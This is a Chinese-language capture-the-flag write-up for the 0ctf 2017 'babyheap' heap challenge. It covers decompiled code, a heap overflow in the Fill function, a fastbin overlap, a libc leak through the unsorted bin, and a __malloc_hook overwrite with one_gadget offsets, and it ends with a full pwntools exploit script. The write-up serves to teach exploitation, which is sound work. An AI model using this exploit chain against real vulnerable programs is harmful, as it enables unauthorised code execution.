分析利用:
無殼,IDA打開后可以看出題目是基本的增刪與展示(函式名為方便閱讀而修改)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = initMmapList();
while ( 1 )
{
Menu();
switch ( getInput() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump((__int64)v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
v4通過mmap分配了“一條鏈表”,但通過Allocate函式可以知道,實際的儲存結構是類似chunk似的結構體:
00000000 size_t InUse
00000008 size_t Size
00000010 size_t content
每次Allocate都會遍歷v4鏈表的每個InUse位,如果該位置0,就表示這個索引沒有被使用,就會將該位置1,然后根據Size呼叫calloc,將回傳值賦給content
然后可以看看Free函式:
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
由于free之后將指標全都清零了,所以指標復用在這里不太行
然后是Fill函式:
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = getInput();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
可以看到,該函式沒有限制我們的輸入,因此我們可以讓content開辟過大的chunk來達成堆溢位
最后是Dump:
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
沒有什么可用點,但我們可以用來泄露地址
我們最終的目的是修改malloc_hook或者free_hook的地址為某個one_gadget
為此我們需要泄露libc基址、通過偽造fake_chunk來向hook附近通過Fill函式填充溢位覆寫
Unsorted Bin雙向鏈表能夠將表頭放入fd指標,通過Dump就能夠泄露出庫函式地址
如下程序參考CTF-WIKI:
首先需要泄露libc基址,為此我們需要通過Unsorted Bin獲取fd指標,因此需要構造指標復用的情況,將兩個索引的content指標指向同一個chunk
適當開辟幾個符合Fast Bin的chunk(不一定要像筆者這樣,指需理解思路即可),idx4作為泄露基地址的chunk,idx 0用于通過堆溢位來復寫idx 1,idx 3來復寫 idx4
然后用Free函式構成Fast Bin鏈表 idx1--->idx2
allocate(0x10) #idx 0
allocate(0x10) #idx 1
allocate(0x10) #idx 2
allocate(0x10) #idx 3
allocate(0x80) #idx 4
free(2)
free(1)
因為每個堆都是按頁對齊的,所以如果將idx 1的fd指標的最后一個位元組指向0x80就會指向idx 4,由此構造出Fast Bin鏈 idx1--->idx 4
由于Fast Bin有chunk塊大小檢查,所以將idx 4的size復寫為與idx 1相同來繞過檢查
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
Fast Bin為LIFO,接下來再重新開辟會idx 1和idx 2,然后再將idx 4的size修改回去
allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
此時,idx 2和idx 4的content指向了同一個地址,只要我們將idx 4釋放掉,該chunk就會被放入Unsorted Bin,并增加fd指標,然后再Dump出idx 2即可泄露libc基址(不過需要先開辟idx 5以放置idx 4和Top chunk合并)
allocate(0x100) #idx 5
free(4)
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)
main_arena_offset是寫在每個libc中的固定值
有師傅寫過獲取的腳本專案:https://github.com/bash-c/main_arena_offset
unsortedbin_offset_main_arena這些值也都有固定的計算方式
因此現在已經泄露出了libc基址
然后現在將放在Unsorted Bin中的idx 4開辟回來,但我們只開辟0x70的空間,剩下的0x20將被放回Unsorted Bin,而接下來釋放idx 4又將其放入Fast Bin
allocate(0x60)
free(4)
接下來我們使用gdb附加除錯來尋找可以偽造fake_chunk的地方:
gdb-peda$ x /10gx &__malloc_hook-6
0x7f03f6128ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f03f6128af0 <_IO_wide_data_0+304>: 0x00007f03f6127260 0x0000000000000000
0x7f03f6128b00 <__memalign_hook>: 0x00007f03f5de9ea0 0x00007f03f5de9a70
0x7f03f6128b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f03f6128b20 <main_arena>: 0x0000000000000000 0x0000000000000000
(不知道是gdb還是pwndbg的原因,竟然能直接這樣查看到地址......)
我們可以發現0x7f這個數字比較適合被當作fake_chunk的Size ,于是我們將這個這個fake_chunk復寫到idx 4的fd指標
fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)
然后用allocate將fake_chunk開辟回來,現在就能通過填充idx 6來溢位到malloc_hook了,然后再呼叫malloc即可拿到shell
allocate(0x60) #idx 4
allocate(0x60) #idx 6
one_garget=0x4526a+libc_base
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)
但值得注意的是,這道題在于2017年的0ctf上的賽題,在當時使用 libc2.23-0ubuntu11.2版本的共享庫,但時至今日,Ubuntu16已經不再使用該版本,而是使用libc2.23-0ubuntu11.3版本共享庫,而buu上也使用前者版本
因此筆者使用libc2.23-0ubuntu11.3中得到的one_gadget雖然在本地拿到了shell,但在遠程服務器上卻只能通過一些以前的wp來獲取當時版本的one_gadget,這里記一下比較常用的
og1=[0x45216,0x4526a,0xf02a4,0xf1147] #libc2.23-0ubuntu11.3
og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.2
完整exp:
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
p=process('./babyheap_0ctf_2017')
#p=remote("node4.buuoj.cn",27641)
elf=ELF('./babyheap_0ctf_2017')
libc=elf.libc
def cmd(x):
p.sendlineafter('Command:',str(x))
def allocate(size):
cmd(1)
p.sendlineafter('Size:',str(size))
def fill(index,content):
cmd(2)
p.sendlineafter('Index:',str(index))
p.sendlineafter('Size:',str(len(content)))
p.sendlineafter('Content:',content)
def free(index):
cmd(3)
p.sendlineafter('Index:',str(index))
def dump(index):
cmd(4)
p.sendlineafter("Index:",str(index))
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(2)
free(1)
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
allocate(0x10)
allocate(0x10)
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
allocate(0x100)
free(4)
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)
one_garget=0x4526a+libc_base
allocate(0x60)
free(4)
gdb.attach(p)
fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)
allocate(0x60)
allocate(0x60) #6
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)
p.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292869.html
標籤:其他
上一篇:VulnHub滲透測驗實戰靶場 - KIOPTRIX: LEVEL 1.2
下一篇:大廠在用的反爬蟲手段
